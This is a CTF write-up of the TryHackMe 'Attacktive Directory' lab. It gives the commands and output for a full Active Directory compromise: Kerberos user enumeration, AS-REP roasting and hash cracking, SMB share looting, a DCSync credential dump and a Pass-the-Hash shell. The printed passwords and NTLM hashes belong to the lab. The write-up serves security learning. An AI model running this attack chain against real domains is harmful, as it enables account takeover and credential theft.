

CTF WRITEUP

Attacktive Directory

TryHackMe

URL	https://tryhackme.com/room/attacktivedirectory
Difficulty	Medium
OS	Windows
Target IP	10.113.173.213
Date	June 11, 2026

Summary

This CTF is a guided demonstration of Active Directory vulnerabilities, detailing step-by-step exploitation methods to gain unauthorized access and extract three required flags. Solving it involves enumeration, exploitation, and domain privilege escalation. Mastery of multiple tools and understanding common Active Directory weaknesses is essential. The following walkthrough outlines the process and knowledge required to replicate these steps.

Before following the attack path, it is recommended to review the tools used, listed in the section below.

Walkthrough

Begin by scanning the system to assess the environment. Use `nmap` for the initial scan, then `enum4linux` for detailed information about running services.

Running an aggressive Nmap scan of all ports:

```
nmap -p- -A 10.113.173.213
```

The initial scan provided much important information such as:

NetBIOS_Domain_Name: THM-AD

For more specific information, I will also run `enum4linux`:

```
enum4linux 10.113.173.213
```

Looking specifically for ports **139** and **445**, as hinted in the CTF, we find that both ports are open and are running **SMB**.

There is also a relevant note from the creator.

Notes: Flags for each user account are available for submission. You can retrieve the flags for user accounts via RDP (Note: the login format is `spookysec.local\User` at the Window's login prompt) and Administrator via Evil-WinRM.

Having gained basic information about the target system, we can now move on to the next step, enumerating users via **Kerberos** (key authentication service within Active Directory), specifically by using the **Kerbrute** to brute-force the discovery of users.

In this case, a user wordlist is provided to save time. The domain name is known to us from the note, which mentioned the login format being **spookysec.local\User**. The Kerbrute user enumeration:

```
kerbrute userenum -d spookysec.local --dc 10.113.173.213 /mnt/c/Users/Tester/Documents/userlist.txt
```

The result is a list of usernames:

```
L$ kerbrute userenum -d spookysec.local --dc 10.113.173.213 /mnt/c/Users/Tester/Documents/userlist.txt
```

Version: v1.0.3 (9dad6e1) - 06/11/26 - Ronnie Flathers @ropnop

```
2026/06/11 10:29:37 > Using KDC(s):
2026/06/11 10:29:37 > 10.113.173.213:88
```

```
2026/06/11 10:29:37 > [+] VALID USERNAME: james@spookysec.local
2026/06/11 10:29:37 > [+] VALID USERNAME: svc-admin@spookysec.local
2026/06/11 10:29:38 > [+] VALID USERNAME: James@spookysec.local
2026/06/11 10:29:38 > [+] VALID USERNAME: robin@spookysec.local
2026/06/11 10:29:40 > [+] VALID USERNAME: darkstar@spookysec.local
2026/06/11 10:29:41 > [+] VALID USERNAME: administrator@spookysec.local
2026/06/11 10:29:46 > [+] VALID USERNAME: backup@spookysec.local
2026/06/11 10:29:48 > [+] VALID USERNAME: paradox@spookysec.local
2026/06/11 10:30:00 > [+] VALID USERNAME: JAMES@spookysec.local
2026/06/11 10:30:02 > [+] VALID USERNAME: Robin@spookysec.local
2026/06/11 10:30:22 > [+] VALID USERNAME: Administrator@spookysec.local
2026/06/11 10:30:53 > [+] VALID USERNAME: Darkstar@spookysec.local
2026/06/11 10:31:13 > [+] VALID USERNAME: Paradox@spookysec.local
2026/06/11 10:32:08 > [+] VALID USERNAME: DARKSTAR@spookysec.local
2026/06/11 10:32:26 > [+] VALID USERNAME: ori@spookysec.local
2026/06/11 10:32:48 > [+] VALID USERNAME: ROBIN@spookysec.local
2026/06/11 10:34:09 > Done! Tested 73317 usernames (16 valid) in 271.784 seconds
```

The notable ones are **svc-admin** and **backup**. They are important due to the elevated privileges of **svc-admin** and read access to everything in the **backup**.

Now that we have a list of usernames, we can use them to attempt a Kerberos feature abuse called **ASREPROasting**. To do that, we will leverage the previously installed Python collection Impacket, which includes a tool called **GetNPUsers.py**, designed for this vulnerability. Here we are looking for users who have the privilege “Does not require Pre-Authentication” set. This will allow us to get the encrypted ticket from Kerberos, which we can then try to crack locally.

As a new wordlist, I will be using the names found in the Kerbrute enumeration. With all that information, we can run the tool:

```
sudo GetNPUsers.py spookysec.local/ -no-pass -usersfile /mnt/c/Users/Tester/Documents/ADnames.txt -dc-ip 10.113.173.213 -outputfile hashes.txt
```

The attempt is successful. svc-admin does have the required privilege, and we get his ticket without requiring a password. The ticket is **Kerberos 5 AS-REP etype 23 mode 18200 hash**. Using hashcat and the provided password list, we can crack the hash:

```
hashcat -m 18200 -a 3 hashes.txt /mnt/c/Users/Tester/Documents/passwordlist.txt
```

-m flag simply defines the hash mode, which corresponds to the hash type. The -a flag defines the attack mode, in our case 3, which is brute force.

```

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target.....: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:077fcfa44f1...0ddd56
Time.Started.....: Thu Jun 11 11:19:59 2026 (0 secs)
Time.Estimated...: Thu Jun 11 11:19:59 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Mask.....: management2005 [14]
Guess.Queue.....: 6471/70164 (9.22%)
Speed.#01.....: 780 H/s (0.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 1/1 (100.00%)
Rejected.....: 0/1 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: management2005 -> management2005
Hardware.Mon.#01.: Util: 23%

Started: Thu Jun 11 11:12:01 2026
Stopped: Thu Jun 11 11:20:00 2026

```

As a result, we successfully gained the password for the user **svc-admin**.

Having gained the credentials, we can now get a list of the shares located at the target machine:

```
smbclient -L //10.113.173.213 -U svc-admin%management2005
```

```

$ smbclient -L //10.113.173.213 -U svc-admin%management2005

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Remote Admin
      backup         Disk
      C$             Disk      Default share
      IPC$           IPC       Remote IPC
      NETLOGON       Disk      Logon server share
      SYSVOL         Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.113.173.213 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

```

And then try to gain access to these shares by using the following command, but for different shares:

```
smbclient //10.113.173.213/'SHARENAME' -U spookysec.local/svc-admin%management2005
```

The backup file contains a .txt file, which we can extract.

```
get backup_credentials.txt /tmp/backup_credentials.txt
```

And then read, getting an encoded text:

```

$ cat /tmp/backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

```

Decoding this text gives us the credentials of a new user:

```

$ base64 -d /tmp/backup_credentials.txt
backup@spookysec.local:backup2517860

```

Looking into the backup account, it is discovered that the account has " **Replicating Directory Changes** " permissions on AD. This means that the system is vulnerable to **DCSync**. Using this account's privileges, we can impersonate a Domain Controller and get hashes of any user, including a Domain Admin. To exploit this vulnerability, we can use another tool within Impacket called " **secretsdump.py** ". This will result in us getting all the password hashes that the backup user has access to. The command to run secretsdump.py:

```

sudo python3 examples/secretsdump.py spookysec.local/backup:backup2517860@10.113.173.213

```

This gives a list of users and their hashed passwords:

```

$ sudo python3 examples/secretsdump.py spookysec.local/backup:backup2517860@10.113.173.213
[sudo] password for kali:
Impacket v0.14.0.dev0+20260528.131215.b27827ae - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dfff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cfff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\A-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIRECTORY:1000:aad3b435b51404eeaad3b435b51404ee:10bc731edc138fd1eeb0bcf9ae23d299:::

```

The most important line here is

```

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::

```

The format of this output is **username:RID:LM:NTLM:::**. The specific part we are interested in is the **NTLM** string, which is the password hash for the Administrator.

However, cracking the NTLM hash is not required because we can use an attack method called **Pass-the-Hash (PtH)**. That simply means that Windows NTLM authentication accepts the hash itself as proof of identity, without requiring the password. For that, we will use **Evil-WinRM**, which will allow us to send the hash to the server for it to accept instead of the password. If we were using Windows, we could use the native Mimikatz tool for that task, but since we are using Linux, Evil-WinRM simply acts as the bridge between Linux and Windows. The Evil-WinRM command to connect as Administrator:

```
evil-winrm -i 10.113.173.213 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
```

```

$ evil-winrm -i 10.113.173.213 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls

```

Looking in the C:\Users\Administrator\Desktop, we find the root.txt file, which contains the Administrator flag:

```

*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-a----             4/4/2020  11:39 AM             32 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
TryHackMe{4ctiveD1rectoryM4st3r}

```

From the administrator account, we can access the desktops of backup and svc-admin users, finding the remaining 2 flags:

```

*Evil-WinRM* PS C:\Users\backup\Desktop> cd C:\Users\svc-admin\Desktop
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> ls

Directory: C:\Users\svc-admin\Desktop

Mode                LastWriteTime         Length Name
----                -
-a----             4/4/2020  12:18 PM             28 user.txt.txt

*Evil-WinRM* PS C:\Users\svc-admin\Desktop> cat user.txt.txt
TryHackMe{K3rb3r0s_Pr3_4uth}

```

```
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> cd C:\Users\backup\Desktop
*Evil-WinRM* PS C:\Users\backup\Desktop> ls

Directory: C:\Users\backup\Desktop

Mode                LastWriteTime         Length Name
----                -
-a-----         4/4/2020  12:19 PM             26 PrivEsc.txt

*Evil-WinRM* PS C:\Users\backup\Desktop> cat PrivEsc.txt
TryHackMe{B4ckM3UpSc0tty!}
```

Tools Used

Tool	Purpose
nmap	Port scanning
enum4linux	Detailed machine scanning
Kerbrute	User enumeration
GetNPUsers.py	ASREPROasting
hashcat	Password recovery
secretsdump.py	DCSync
Evil-WinRM	Pass-the-Hash (PtH)

Lessons Learned

Throughout this CTF, I have encountered new tools and concepts that I did not know about before. By going from basic enumeration to ASREPROasting to gaining access via Pass-the-Hash, I have gained an understanding of the structure of Active Directory and its possible weaknesses. In the process of solving this CTF, I researched topics such as Kerberos, SMB, and NTLM protocols, but also new attack methods like Pass-the-Hash or DCSync. As a result, I got a better understanding of how to attack and secure Active Directory, which, considering its importance, will definitely come to be useful in the future.